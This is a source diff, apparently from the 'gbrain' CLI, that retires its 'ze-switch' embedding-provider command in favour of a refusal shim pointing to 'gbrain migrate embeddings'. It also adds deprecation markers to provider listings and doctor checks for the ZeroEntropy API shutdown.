5. **If the user switched and now regrets it**, mention `gbrain ze-switch --undo`. Restores their prior model + dim + reranker state with a symmetric cost-warning prompt (re-embedding back is also a real cost).
|
||||
5. For regret after switching, `--undo` restored the prior model + dim + reranker state behind a cost-warning prompt.
|
||||
|
||||
## The CLI surface in full
|
||||
None of that flow exists anymore: the recommendation aged into a liability when the shutdown was announced, and today the entire surface refuses.
|
||||
|
||||
| Command | Effect |
|
||||
## The CLI surface in full (historical — every row exits 1 with `provider_sunset` today)
|
||||
|
||||
| Command | Effect (v0.36.2 era) |
|
||||
|---|---|
|
||||
| `gbrain ze-switch` | Interactive prompt (TTY only). Default-on-Enter = stay. |
|
||||
| `gbrain ze-switch --dry-run` | Print plan as text. Change nothing. |
|
||||
@@ -48,8 +43,8 @@ When the user invokes any gbrain command immediately after `gbrain upgrade` to v
|
||||
| `gbrain ze-switch --non-interactive --ignore-missing-key` | Same, but stage the schema change before the key is ready. Embeddings fail loud until key arrives. |
|
||||
| `gbrain ze-switch --resume` | Complete a half-applied switch (crash recovery). |
|
||||
| `gbrain ze-switch --force` | Bypass the prompt-shown gate (re-show after `n`). |
|
||||
| `gbrain ze-switch --undo` | Reverse with cost-warning prompt. |
|
||||
| `gbrain ze-switch --undo --non-interactive --confirm-reembed` | Scripted undo. The `--confirm-reembed` flag is required (un-doing also pays for re-embed). |
|
||||
| `gbrain ze-switch --undo` | Reverse with cost-warning prompt. (Today: prints the return-path `gbrain migrate embeddings` command instead of acting.) |
|
||||
| `gbrain ze-switch --undo --non-interactive --confirm-reembed` | Scripted undo. (Today: prints guidance, exit 1.) |
|
||||
|
||||
## Consolidation with the v0.32.7 chunker prompt
|
||||
|
||||
@@ -59,8 +54,8 @@ If a brain has BOTH a stale chunker version AND the ZE-switch offered, the `Retr
|
||||
|
||||
`gbrain doctor` now runs two new ZE-aware checks:
|
||||
|
||||
- **`ze_embedding_health`** — warns if `embedding_model` starts with `zeroentropyai:` but no key is configured (neither env nor `gbrain config set zeroentropy_api_key`). Fix hint points at the setup URL.
|
||||
- **`embedding_width_consistency`** — asserts the configured `embedding_dimensions` matches the actual `vector(N)` width on `content_chunks.embedding`. Warns on drift. Fix hint suggests `gbrain ze-switch --resume` if drift came from a half-applied switch, or `gbrain config set embedding_dimensions <schema-dim>` to match the existing schema.
|
||||
- **`ze_embedding_health`** — warns if `embedding_model` starts with `zeroentropyai:` but no key is configured. (At the time the fix hint pointed at the setup URL; today it points at the migration off-ramp.)
|
||||
- **`embedding_width_consistency`** — asserts the configured `embedding_dimensions` matches the actual `vector(N)` width on `content_chunks.embedding`. Warns on drift. (At the time the fix hint suggested `--resume`; today the check prints an engine-branched recovery recipe — there is no resume.)
|
||||
|
||||
## What changed under the hood
|
||||
|
||||
@@ -70,21 +65,21 @@ If a brain has BOTH a stale chunker version AND the ZE-switch offered, the `Retr
|
||||
- Schema transition (when user accepts the switch): DROP indexes → ALTER `content_chunks.embedding` to `vector(1280)` → CREATE INDEX. Atomic inside one `engine.transaction()`. HNSW indexes recreated in the same transaction; no silent slow-search window.
|
||||
- Three new config keys: `ze_switch_prompt_shown`, `ze_switch_requested`, `ze_switch_applied`. Plus `ze_switch_previous_snapshot` (JSON, captures prior config for `--undo`) and `ze_switch_declined_at` (ISO timestamp for the 90-day re-ask gate).
|
||||
|
||||
## What NOT to do
|
||||
## What NOT to do (historical guardrails for the era's flow)
|
||||
|
||||
- Don't run `gbrain ze-switch --non-interactive --ignore-missing-key` for a user without explaining the consequence — every embed call will fail until they set `ZEROENTROPY_API_KEY`. Surface that loudly.
|
||||
- Don't tell the user the sale price ($0.025/M) is the cost they'll pay long-term. It's a promotional rate. The CHANGELOG and prompt cite the regular $0.05/M as the cost anchor.
|
||||
- Don't assume the user wants the switch because the comparison numbers favor it. The user owns the decision. The prompt's default-on-Enter is "stay" for exactly this reason.
|
||||
- The `--ignore-missing-key` staging spelling required explaining that every embed call would fail until the key arrived.
|
||||
- The sale price was promotional; the regular price was the cost anchor.
|
||||
- The user owned the switch decision; the prompt's default-on-Enter was "stay" for exactly this reason.
|
||||
|
||||
## Why 1280d, not 1024d
|
||||
|
||||
The valid ZE Matryoshka dim steps are `2560, 1280, 640, 320, 160, 80, 40`. 1024 (Voyage's step) is NOT on ZE's list — see `src/core/ai/dims.ts:ZEROENTROPY_VALID_DIMS`. 1280 is the step closest to the prior OpenAI 1536d default and stays in the high-recall zone of the Matryoshka curve.
|
||||
|
||||
## Verifying the switch
|
||||
## Verifying the switch (historical — the ze-switch line exits 1 today)
|
||||
|
||||
```bash
|
||||
```text
|
||||
gbrain doctor # both new checks should be green
|
||||
gbrain ze-switch --dry-run # status should be skipped_already_applied
|
||||
gbrain ze-switch --dry-run # (era) status skipped_already_applied; (today) refuses
|
||||
gbrain models # confirm embedding + reranker defaults
|
||||
gbrain search "test query" --limit 5 # confirm the reranker is firing
|
||||
```
|
||||
|
||||
@@ -119,9 +119,9 @@
|
||||
"migrations/v0.33.0.md": "11710cb11d6eb7dc3ea54b764e3c4a25f8679cf76590acd330f97bfa1c684945",
|
||||
"migrations/v0.33.3.0.md": "188a03ca86a97a9aa697cbbc83cc8ca37843fab24db2bd82f1383c400173d5bd",
|
||||
"migrations/v0.34.0.0.md": "d421c5ecff0765ac1de3592d3175734db7df52e8658ec101567779c7c56c2db2",
|
||||
"migrations/v0.35.0.0.md": "1f4083b6447ae694776f35b70ec6c259b03987cb35a8ee4376c8f51db6bb06ce",
|
||||
"migrations/v0.35.0.0.md": "a87d0f04f5d1d275c2f283c3736f0208bb9e24a540b0ffb79ec9d4c0de90e01f",
|
||||
"migrations/v0.35.7.0.md": "c6d4454bd39e2aa243b3b3d9bc72fe5a4fd25d097be7be2bb14b25604b5c2cc5",
|
||||
"migrations/v0.36.2.0.md": "becedef44dc377cf95c83ddc479c9ab19f15a984f716fc0b041ba7cde6886f14",
|
||||
"migrations/v0.36.2.0.md": "2b3b4cc0dc2e9611b0df9aea0a9cd4281433011c2d88433f768e762b28d56320",
|
||||
"migrations/v0.36.5.0.md": "a01a722202dfc3c799693596750c8bee611fe4dafe3cb662f6b4cd0b635cb429",
|
||||
"migrations/v0.40.3.0.md": "5f500f8c543c2b6f41778b0bd3beedada68f7284f7933ad8b769322b433a8fe9",
|
||||
"migrations/v0.40.5.md": "b9837d52a030517698dfb31c439f562cde60a1015ae488dab09be2c16ff182e5",
|
||||
|
||||
+30
-3
@@ -162,6 +162,9 @@ const CLI_ONLY_SELF_HELP = new Set([
|
||||
// would hide both — `gbrain dream retriage --help` printed the one-line
|
||||
// dream stub instead of the retriage contract (outside-voice CX9).
|
||||
'dream',
|
||||
// ZE interim cleanup: the retired ze-switch shim ships truthful help
|
||||
// (sunset refusal + canonical migration command); the generic stub hid it.
|
||||
'ze-switch',
|
||||
]);
|
||||
|
||||
/**
|
||||
@@ -187,6 +190,9 @@ const SELF_HELP_WITHOUT_ENGINE: Record<string, () => Promise<(engine: never, arg
|
||||
// runDream accepts BrainEngine | null; --help (and `retriage --help`) is
|
||||
// answered before any engine-bearing work per the dream.ts IRON RULE.
|
||||
dream: async () => (await import('./commands/dream.ts')).runDream as never,
|
||||
// The retired ze-switch shim answers --help engine-free (arg-order adapter
|
||||
// lives in ze-switch.ts because runZeSwitch takes (args, engine)).
|
||||
'ze-switch': async () => (await import('./commands/ze-switch.ts')).runZeSwitchSelfHelp as never,
|
||||
};
|
||||
|
||||
/** Returns true when the command's own help was printed. */
|
||||
@@ -2009,10 +2015,31 @@ async function handleCliOnly(command: string, args: string[]) {
|
||||
}
|
||||
|
||||
if (command === 'ze-switch') {
|
||||
// v0.36.0.0 — manual ZE-default switch lever. Owns its own engine lifecycle
|
||||
// to mirror the doctor pattern.
|
||||
// Retired refusal/redirect shim. Only --undo reads the brain (one config
|
||||
// row); every other invocation must refuse EVEN ON an unconfigured
|
||||
// machine — connecting unconditionally turned the refusal into
|
||||
// "No brain configured" and starved --json callers of the envelope.
|
||||
const { runZeSwitch } = await import('./commands/ze-switch.ts');
|
||||
const eng = await connectEngine();
|
||||
if (!args.includes('--undo')) {
|
||||
await runZeSwitch(args, null);
|
||||
return;
|
||||
}
|
||||
// --undo reads one config row. An unconfigured machine (or a failed
|
||||
// connect) must still get the shim's truthful --json refusal envelope —
|
||||
// connectEngine would print plain "No brain configured" and exit before
|
||||
// the shim ran, so pre-check the config and degrade to a null engine
|
||||
// (the shim words that as a read failure).
|
||||
if (!loadConfig()) {
|
||||
await runZeSwitch(args, null);
|
||||
return;
|
||||
}
|
||||
let eng: BrainEngine | null = null;
|
||||
try {
|
||||
eng = await connectEngine();
|
||||
} catch {
|
||||
await runZeSwitch(args, null);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await runZeSwitch(args, eng);
|
||||
} finally {
|
||||
|
||||
@@ -249,13 +249,33 @@ export async function checkZeEmbeddingHealth(engine: BrainEngine): Promise<Check
|
||||
// File plane: zeroentropy_api_key on GBrainConfig (added by C.3).
|
||||
const fileKey = loadConfigFileOnly()?.zeroentropy_api_key;
|
||||
if (!envKey && !fileKey) {
|
||||
// Migration-first: when the provider has an announced shutdown, the fix
|
||||
// for a missing key is to migrate OFF, not to sign up. The key path
|
||||
// survives as the secondary note for someone who needs the remaining
|
||||
// hosted window. (Generic on recipe.sunset so the copy self-corrects if
|
||||
// the recipe ever changes; the whole check is deleted in v0.47.)
|
||||
const { getRecipe } = await import('../../../core/ai/recipes/index.ts');
|
||||
const sunset = getRecipe('zeroentropyai')?.sunset;
|
||||
if (sunset) {
|
||||
const { renderCanonicalMigrationCommands } = await import('../../../core/ai/defaults.ts');
|
||||
return {
|
||||
name: 'ze_embedding_health',
|
||||
status: 'warn',
|
||||
message:
|
||||
`embedding_model="${model}" but ZEROENTROPY_API_KEY is not set — and the ` +
|
||||
`hosted API shuts down on ${sunset.date}. Fix: migrate off it: ` +
|
||||
`${renderCanonicalMigrationCommands().recommendedDryRun}. If you need hosted ` +
|
||||
`ZeroEntropy for the remaining weeks, set the key via ` +
|
||||
`\`export ZEROENTROPY_API_KEY=...\` or "zeroentropy_api_key" in ` +
|
||||
`~/.gbrain/config.json (gbrain config set writes the DB plane, which the embed pipeline ignores).`,
|
||||
};
|
||||
}
|
||||
return {
|
||||
name: 'ze_embedding_health',
|
||||
status: 'warn',
|
||||
message:
|
||||
`embedding_model="${model}" but ZEROENTROPY_API_KEY is not set. ` +
|
||||
`Fix: get a key at https://dashboard.zeroentropy.dev and either ` +
|
||||
`\`export ZEROENTROPY_API_KEY=...\` or edit ~/.gbrain/config.json ` +
|
||||
`Fix: \`export ZEROENTROPY_API_KEY=...\` or edit ~/.gbrain/config.json ` +
|
||||
`to add "zeroentropy_api_key": "...". (gbrain config set writes the DB plane, which the embed pipeline ignores.)`,
|
||||
};
|
||||
}
|
||||
@@ -426,10 +446,11 @@ export async function checkProviderSunset(engine: BrainEngine, now: number = Dat
|
||||
* v0.36.0.0 (A5): embedding_width_consistency doctor check.
|
||||
*
|
||||
* Cross-checks that `config.embedding_dimensions` matches the actual
|
||||
* `vector(N)` width on `content_chunks.embedding`. Drift here means the
|
||||
* ze-switch was interrupted mid-flight (schema changed but config write
|
||||
* crashed, or vice versa). Surfaces a paste-ready `gbrain ze-switch
|
||||
* --resume` hint.
|
||||
* `vector(N)` width on `content_chunks.embedding`. Drift means a width
|
||||
* transition was interrupted mid-flight (schema changed but config write
|
||||
* crashed, or vice versa). Surfaces the engine-kind-branched recovery recipe
|
||||
* from embeddingMismatchMessage — NOT a ze-switch hint; that command is a
|
||||
* refusal shim now.
|
||||
*/
|
||||
export async function checkEmbeddingWidthConsistency(engine: BrainEngine): Promise<Check> {
|
||||
try {
|
||||
|
||||
+86
-33
@@ -12,6 +12,7 @@ import { probeOllama, probeLMStudio } from '../core/ai/probes.ts';
|
||||
import { loadConfig } from '../core/config.ts';
|
||||
import { AIConfigError, AITransientError } from '../core/ai/errors.ts';
|
||||
import { lookupEmbeddingPrice } from '../core/embedding-pricing.ts';
|
||||
import { renderCanonicalMigrationCommands } from '../core/ai/defaults.ts';
|
||||
import type { Recipe } from '../core/ai/types.ts';
|
||||
|
||||
const SCHEMA_VERSION = 1;
|
||||
@@ -59,6 +60,78 @@ export function envReady(recipe: Recipe, env: NodeJS.ProcessEnv = process.env):
|
||||
return required.every(k => !!env[k]);
|
||||
}
|
||||
|
||||
/**
|
||||
* ONE shared sunset-marker primitive for every human-facing providers surface
|
||||
* (list status cell, explain table rows, env block header) so the renderings
|
||||
* can't drift. `sunsetMarkerText` is the string; `sunsetMarker` is the
|
||||
* recipe-shaped convenience (null for recipes without an announced shutdown).
|
||||
*/
|
||||
export function sunsetMarkerText(date: string, replacementEmbedding?: string | null): string {
|
||||
return `⚠ DEPRECATED — hosted API ends ${date}` + (replacementEmbedding ? `; use ${replacementEmbedding}` : '');
|
||||
}
|
||||
|
||||
export function sunsetMarker(recipe: Pick<Recipe, 'sunset'>): string | null {
|
||||
if (!recipe.sunset) return null;
|
||||
return sunsetMarkerText(recipe.sunset.date, recipe.sunset.replacement?.embedding);
|
||||
}
|
||||
|
||||
/**
|
||||
* Pure formatter for `gbrain providers env <id>` so the output is testable
|
||||
* without spawning the CLI (runEnv itself process.exits).
|
||||
*
|
||||
* Sunset-aware: a provider with an announced shutdown gets the deprecation
|
||||
* block + the canonical migration command INSTEAD of the signup funnel
|
||||
* (setup_url / setup_hint) — three weeks before a provider dies, "get an API
|
||||
* key" is the wrong guidance. Key STATUS still renders above so existing
|
||||
* users can see what's configured.
|
||||
*/
|
||||
export function formatEnvOutput(recipe: Recipe, env: NodeJS.ProcessEnv = process.env): string {
|
||||
const lines: string[] = [];
|
||||
lines.push(`${recipe.name} (${recipe.id})`);
|
||||
lines.push('');
|
||||
const required = recipe.auth_env?.required ?? [];
|
||||
const optional = recipe.auth_env?.optional ?? [];
|
||||
if (required.length > 0) {
|
||||
lines.push('Required:');
|
||||
for (const k of required) {
|
||||
lines.push(` ${k.padEnd(32)} ${env[k] ? '✓ set' : '✗ not set'}`);
|
||||
}
|
||||
} else {
|
||||
lines.push('Required: (none)');
|
||||
}
|
||||
if (optional.length > 0) {
|
||||
lines.push('');
|
||||
lines.push('Optional:');
|
||||
for (const k of optional) {
|
||||
lines.push(` ${k.padEnd(32)} ${env[k] ? '✓ set' : '✗ not set'}`);
|
||||
}
|
||||
}
|
||||
const marker = sunsetMarker(recipe);
|
||||
if (marker) {
|
||||
const s = recipe.sunset!;
|
||||
lines.push('');
|
||||
lines.push(marker);
|
||||
if (s.message) lines.push(` ${s.message}`);
|
||||
if (s.replacement) {
|
||||
const parts: string[] = [];
|
||||
if (s.replacement.embedding) parts.push(`${s.replacement.embedding} (embedding)`);
|
||||
if (s.replacement.reranker) parts.push(`${s.replacement.reranker} (reranker)`);
|
||||
if (parts.length > 0) lines.push(` Replacement: ${parts.join(', ')}`);
|
||||
}
|
||||
lines.push(` Migrate: ${renderCanonicalMigrationCommands().recommendedDryRun}`);
|
||||
return lines.join('\n');
|
||||
}
|
||||
if (recipe.auth_env?.setup_url) {
|
||||
lines.push('');
|
||||
lines.push(`Setup: ${recipe.auth_env.setup_url}`);
|
||||
}
|
||||
if (recipe.setup_hint) {
|
||||
lines.push('');
|
||||
lines.push(recipe.setup_hint);
|
||||
}
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Pure formatter for the recipe matrix shown by `gbrain providers list` and
|
||||
* the new `init-provider-picker` (D1+D2 — picker reuses this so its display
|
||||
@@ -86,12 +159,10 @@ export function formatRecipeTable(recipes: Recipe[], env: NodeJS.ProcessEnv = pr
|
||||
const ready = envReady(r, env);
|
||||
// v0.46.3: a sunsetting provider is flagged in the listing regardless of
|
||||
// key readiness — "ready" on a dying API is not a state to advertise.
|
||||
const status = r.sunset
|
||||
? `⚠ DEPRECATED — hosted API ends ${r.sunset.date}` +
|
||||
(r.sunset.replacement?.embedding ? `; use ${r.sunset.replacement.embedding}` : '')
|
||||
: ready
|
||||
? '✓ ready'
|
||||
: `✗ missing ${r.auth_env?.required?.[0] ?? 'setup'}`;
|
||||
// Marker text is the shared sunsetMarker so list/explain/env can't drift.
|
||||
const status =
|
||||
sunsetMarker(r) ??
|
||||
(ready ? '✓ ready' : `✗ missing ${r.auth_env?.required?.[0] ?? 'setup'}`);
|
||||
rows.push(
|
||||
r.id.padEnd(idCol) +
|
||||
r.tier.padEnd(18) +
|
||||
@@ -287,32 +358,7 @@ function runEnv(args: string[]): void {
|
||||
console.error(`Unknown provider: ${id}. Run \`gbrain providers list\` to see known providers.`);
|
||||
process.exit(1);
|
||||
}
|
||||
console.log(`${recipe.name} (${recipe.id})`);
|
||||
console.log('');
|
||||
const required = recipe.auth_env?.required ?? [];
|
||||
const optional = recipe.auth_env?.optional ?? [];
|
||||
if (required.length > 0) {
|
||||
console.log('Required:');
|
||||
for (const k of required) {
|
||||
const set = !!process.env[k];
|
||||
console.log(` ${k.padEnd(32)} ${set ? '✓ set' : '✗ not set'}`);
|
||||
}
|
||||
} else {
|
||||
console.log('Required: (none)');
|
||||
}
|
||||
if (optional.length > 0) {
|
||||
console.log('\nOptional:');
|
||||
for (const k of optional) {
|
||||
const set = !!process.env[k];
|
||||
console.log(` ${k.padEnd(32)} ${set ? '✓ set' : '✗ not set'}`);
|
||||
}
|
||||
}
|
||||
if (recipe.auth_env?.setup_url) {
|
||||
console.log(`\nSetup: ${recipe.auth_env.setup_url}`);
|
||||
}
|
||||
if (recipe.setup_hint) {
|
||||
console.log(`\n${recipe.setup_hint}`);
|
||||
}
|
||||
console.log(formatEnvOutput(recipe));
|
||||
}
|
||||
|
||||
async function runExplain(args: string[]): Promise<void> {
|
||||
@@ -429,7 +475,14 @@ async function runExplain(args: string[]): Promise<void> {
|
||||
for (const o of options.filter(x => x.touchpoint === 'embedding')) {
|
||||
const cost = o.cost_per_1m_tokens_usd !== undefined ? `$${o.cost_per_1m_tokens_usd}/1M` : '—';
|
||||
const dims = o.dims ? `${o.dims}d` : '—';
|
||||
console.log(` ${o.env_ready ? '✓' : '✗'} ${o.id.padEnd(44)} ${dims.padEnd(8)} ${cost.padEnd(10)} ${o.tier}`);
|
||||
// A sunsetting provider must not read as a green-check cheap option in
|
||||
// the HUMAN table (the deprecation used to live only in cons/JSON).
|
||||
// Rendered via the shared primitive so list/env/explain can't drift, and
|
||||
// the lead marker is ⚠ regardless of key readiness — "ready" on a dying
|
||||
// API is not a state to advertise (mirrors formatRecipeTable's status).
|
||||
const dep = o.deprecated ? ` ${sunsetMarkerText(o.deprecated.date, o.deprecated.replacement)}` : '';
|
||||
const lead = o.deprecated ? '⚠' : o.env_ready ? '✓' : '✗';
|
||||
console.log(` ${lead} ${o.id.padEnd(44)} ${dims.padEnd(8)} ${cost.padEnd(10)} ${o.tier}${dep}`);
|
||||
}
|
||||
console.log('');
|
||||
console.log('Expansion options:');
|
||||
|
||||
+237
-204
@@ -1,239 +1,272 @@
|
||||
/**
|
||||
* v0.36.0.0 — `gbrain ze-switch` CLI lever for the ZeroEntropy default switch.
|
||||
* `gbrain ze-switch` — RETIRED refusal/redirect shim.
|
||||
*
|
||||
* Subcommands / flags:
|
||||
* gbrain ze-switch Run the interactive prompt
|
||||
* gbrain ze-switch --dry-run Plan only; change nothing
|
||||
* gbrain ze-switch --json Machine-readable envelope
|
||||
* gbrain ze-switch --non-interactive Switch without prompting
|
||||
* (errors if ZEROENTROPY_API_KEY missing
|
||||
* unless --ignore-missing-key is also set)
|
||||
* gbrain ze-switch --resume Finish a half-applied switch (recovery)
|
||||
* gbrain ze-switch --force Bypass the `prompt_shown` gate
|
||||
* (use after `n` / never-ask-again)
|
||||
* gbrain ze-switch --undo Reverse: restore prior model + dim
|
||||
* + reranker state. Cost-warning prompt
|
||||
* appears before any change.
|
||||
* gbrain ze-switch --undo --non-interactive --confirm-reembed
|
||||
* Scripted undo path (also pays for re-embed)
|
||||
* ZeroEntropy's hosted API shuts down on ZEROENTROPY_SUNSET_DATE. Every
|
||||
* invocation refuses or redirects; nothing here mutates the brain:
|
||||
*
|
||||
* gbrain ze-switch --help Truthful usage (exit 0, engine-free)
|
||||
* gbrain ze-switch --undo [--json] Print the exact migration command that
|
||||
* returns this brain to its pre-switch
|
||||
* provider (from the stored snapshot).
|
||||
* Guidance only — exit 1, nothing changes.
|
||||
* anything else Refusal naming the canonical migration.
|
||||
*
|
||||
* Why the legacy actions are gone: the forward switch/resume have been
|
||||
* sunset-refused since v0.46.3, and the undo ACTION wrote DB-plane config
|
||||
* (engine.setConfig) that the post-v0.37 file-plane-canonical embed pipeline
|
||||
* never reads — it could rebuild the schema (dropping every vector) while the
|
||||
* runtime kept resolving the old model. Printing the verified, resumable
|
||||
* `gbrain migrate embeddings` command is strictly safer than acting.
|
||||
*
|
||||
* The whole command is deleted in the v0.47 September removal release.
|
||||
*/
|
||||
|
||||
import type { BrainEngine } from '../core/engine.ts';
|
||||
import {
|
||||
planRetrievalUpgrade,
|
||||
applyRetrievalUpgrade,
|
||||
resumeRetrievalUpgrade,
|
||||
undoRetrievalUpgrade,
|
||||
formatEnvOverrideWarning,
|
||||
type ApplyResult,
|
||||
} from '../core/retrieval-upgrade-planner.ts';
|
||||
import {
|
||||
runRetrievalUpgradePrompt,
|
||||
runUndoPrompt,
|
||||
} from '../core/retrieval-upgrade-prompt.ts';
|
||||
ZEROENTROPY_SUNSET_DATE,
|
||||
renderCanonicalMigrationCommands,
|
||||
} from '../core/ai/defaults.ts';
|
||||
import { getCliOptions } from '../core/cli-options.ts';
|
||||
|
||||
interface Flags {
|
||||
dryRun: boolean;
|
||||
json: boolean;
|
||||
nonInteractive: boolean;
|
||||
resume: boolean;
|
||||
force: boolean;
|
||||
undo: boolean;
|
||||
confirmReembed: boolean;
|
||||
ignoreMissingKey: boolean;
|
||||
ignoreEnvOverride: boolean;
|
||||
/** Config row written by the pre-v0.46.3 forward switch (the literal matches
|
||||
* KEY_PREVIOUS_SNAPSHOT in retrieval-upgrade-planner.ts; kept local so the
|
||||
* shim does not drag the retired planner module into its import graph). */
|
||||
const KEY_PREVIOUS_SNAPSHOT = 'ze_switch_previous_snapshot';
|
||||
|
||||
interface ZeSwitchSnapshot {
|
||||
embedding_model: string;
|
||||
embedding_dimensions: number;
|
||||
search_reranker_enabled?: boolean;
|
||||
search_reranker_model?: string | null;
|
||||
}
|
||||
|
||||
function parseFlags(args: string[]): Flags {
|
||||
return {
|
||||
dryRun: args.includes('--dry-run'),
|
||||
json: args.includes('--json'),
|
||||
nonInteractive: args.includes('--non-interactive') || args.includes('--yes'),
|
||||
resume: args.includes('--resume'),
|
||||
force: args.includes('--force'),
|
||||
undo: args.includes('--undo'),
|
||||
confirmReembed: args.includes('--confirm-reembed'),
|
||||
ignoreMissingKey: args.includes('--ignore-missing-key'),
|
||||
// v0.41.2.1: escape hatch for power users running parallel experiments
|
||||
// with GBRAIN_EMBEDDING_MODEL set. Loud stderr line when used.
|
||||
ignoreEnvOverride: args.includes('--ignore-env-override'),
|
||||
};
|
||||
// Retired forward-switch flags — kept as quoted literals ONLY so the
|
||||
// generated CLI_FLAG_REGISTRY row keeps accepting them and old scripts reach
|
||||
// the refusal message naming the migration instead of dying pre-dispatch
|
||||
// with an unknown-flag error (cli.ts validates against the row BEFORE
|
||||
// dispatch; the row is generated from these literals, and safety flags like
|
||||
// '--dry-run' need quoted consumption evidence to survive regeneration).
|
||||
// The shim never consults them — every non-help/undo invocation refuses.
|
||||
// '--markdown' rode the pre-shim row (generator over-scan); kept for the
|
||||
// same old-scripts-reach-the-refusal reason. The registry-superset pin in
|
||||
// test/ze-switch-cli.test.ts makes any drop of this list loud.
|
||||
export const RETIRED_FLAGS = [
|
||||
'--dry-run',
|
||||
'--resume',
|
||||
'--force',
|
||||
'--non-interactive',
|
||||
'--yes',
|
||||
'--ignore-missing-key',
|
||||
'--ignore-env-override',
|
||||
'--confirm-reembed',
|
||||
'--markdown',
|
||||
];
|
||||
|
||||
/** The `--brain <id>` selector is parsed and STRIPPED by the global CLI
|
||||
* option layer before dispatch, so any command this shim tells the user to
|
||||
* run must carry it explicitly — otherwise `ze-switch --brain team-x --undo`
|
||||
* reads team-x's snapshot but the printed migrate command targets the
|
||||
* ambient/default brain (a paid re-embed of the wrong corpus). */
|
||||
function brainSuffix(): string {
|
||||
const brain = getCliOptions().brain;
|
||||
return brain ? ` --brain ${brain}` : '';
|
||||
}
|
||||
|
||||
function printHelp() {
|
||||
process.stdout.write(`Usage: gbrain ze-switch [flags]
|
||||
const cmds = renderCanonicalMigrationCommands();
|
||||
process.stdout.write(`Usage: gbrain ze-switch [--undo] [--json]
|
||||
|
||||
Switch the brain's embedding + reranker defaults to ZeroEntropy.
|
||||
RETIRED — ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.
|
||||
Switching a brain ONTO ZeroEntropy is refused (exit 1, reason
|
||||
provider_sunset), and the legacy dry-run/resume/undo ACTIONS no longer run.
|
||||
Every invocation refuses or redirects; nothing changes your brain.
|
||||
|
||||
Flags:
|
||||
--dry-run Plan only; change nothing.
|
||||
--json Machine-readable output.
|
||||
--non-interactive Skip prompts; apply directly (CI / scripts).
|
||||
--resume Finish a half-applied switch (crash recovery).
|
||||
--force Bypass the prompt_shown gate (use after --undo or "never ask").
|
||||
--undo Reverse the switch: restore prior model + dim + reranker.
|
||||
--confirm-reembed Required with --undo --non-interactive (re-embed pays cost).
|
||||
--ignore-missing-key Allow --non-interactive without ZEROENTROPY_API_KEY set.
|
||||
--ignore-env-override Apply even when GBRAIN_EMBEDDING_* env vars would
|
||||
override the target at runtime (use if you know why).
|
||||
--help Show this help.
|
||||
--undo Print the exact migration command that returns this brain to its
|
||||
pre-switch provider (read from the stored switch snapshot). No
|
||||
changes are made; run the printed command yourself. Exit 1.
|
||||
--json Machine-readable envelope on stdout.
|
||||
--help This help. Exit 0.
|
||||
|
||||
To LEAVE ZeroEntropy (the maintained path):
|
||||
${cmds.recommendedDryRun} # cost preview
|
||||
${cmds.recommended}
|
||||
Playbook: skills/migrations/v0.46.3.0.md
|
||||
|
||||
Retired flags — still accepted so old scripts get the refusal above instead
|
||||
of an unknown-flag error: ${RETIRED_FLAGS.join(' ')}
|
||||
|
||||
This command is deleted in the September (v0.47) removal release.
|
||||
`);
|
||||
}
|
||||
|
||||
/**
|
||||
* Render an ApplyResult; if status is 'refused' (env-override gate),
|
||||
* write the ASCII warning box to stderr AND exit non-zero. Pure data
|
||||
* stays in the JSON envelope; the box is for human readers.
|
||||
*/
|
||||
function renderApplyResult(result: ApplyResult, json: boolean): void {
|
||||
if (result.status === 'refused' && result.reason === 'env_override') {
|
||||
if (json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
} else {
|
||||
console.error(formatEnvOverrideWarning(result.warning));
|
||||
console.error(`\nSwitch status: refused (env_override)`);
|
||||
}
|
||||
process.exit(1);
|
||||
}
|
||||
if (json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
} else {
|
||||
console.log(`Switch status: ${result.status}`);
|
||||
}
|
||||
function refusalEnvelope(
|
||||
extraMessage?: string,
|
||||
opts: { omitUndoHint?: boolean } = {},
|
||||
): {
|
||||
status: 'refused';
|
||||
reason: 'provider_sunset';
|
||||
/** The LIVE canonical migration command — what an agent should run. */
|
||||
migrate: string;
|
||||
/** The cost-preview variant — run this first. */
|
||||
migrate_preview: string;
|
||||
message: string;
|
||||
} {
|
||||
const cmds = renderCanonicalMigrationCommands();
|
||||
const brain = brainSuffix();
|
||||
const live = `${cmds.recommended}${brain}`;
|
||||
const preview = `${cmds.recommendedDryRun}${brain}`;
|
||||
const message =
|
||||
(extraMessage ? `${extraMessage}\n` : '') +
|
||||
`ze-switch is retired: ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.\n` +
|
||||
`To LEAVE ZeroEntropy: ${preview} # cost preview\n` +
|
||||
` then: ${live}\n` +
|
||||
`Playbook: skills/migrations/v0.46.3.0.md` +
|
||||
// Never point a failed --undo back at --undo (guidance loop).
|
||||
(opts.omitUndoHint
|
||||
? ''
|
||||
: `\nTo see the command that returns this brain to its pre-switch provider: gbrain ze-switch --undo`);
|
||||
return { status: 'refused', reason: 'provider_sunset', migrate: live, migrate_preview: preview, message };
|
||||
}
|
||||
|
||||
export async function runZeSwitch(args: string[], engine: BrainEngine): Promise<void> {
|
||||
/** Emit the envelope (stdout JSON or stderr message) and exit 1. */
|
||||
function emitAndExit(payload: { message: string } & Record<string, unknown>, json: boolean): never {
|
||||
if (json) {
|
||||
console.log(JSON.stringify(payload));
|
||||
} else {
|
||||
console.error(payload.message);
|
||||
}
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
/** Model ids are `provider:model` tokens; the tail may nest (`ollama:model:tag`,
|
||||
* `openrouter:google/gemma`, `nvidia:nvidia/nv-embedqa-e5-v5`). The snapshot
|
||||
* row is data-plane content (writable via config set / direct DB / a mounted
|
||||
* brain), and its fields land verbatim in a command the user or a downstream
|
||||
* agent is told to RUN — so validate before interpolating and degrade to the
|
||||
* plain refusal on anything suspicious. Leading alphanumeric + no whitespace
|
||||
* means a value like `--force-sunset-target` can never inject a flag. */
|
||||
const MODEL_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*:[A-Za-z0-9._/:-]+$/;
|
||||
|
||||
type SnapshotReadResult =
|
||||
| { kind: 'ok'; snapshot: ZeSwitchSnapshot }
|
||||
| { kind: 'missing' }
|
||||
| { kind: 'invalid' }
|
||||
| { kind: 'read_error' };
|
||||
|
||||
function parseSnapshot(raw: string): ZeSwitchSnapshot | null {
|
||||
try {
|
||||
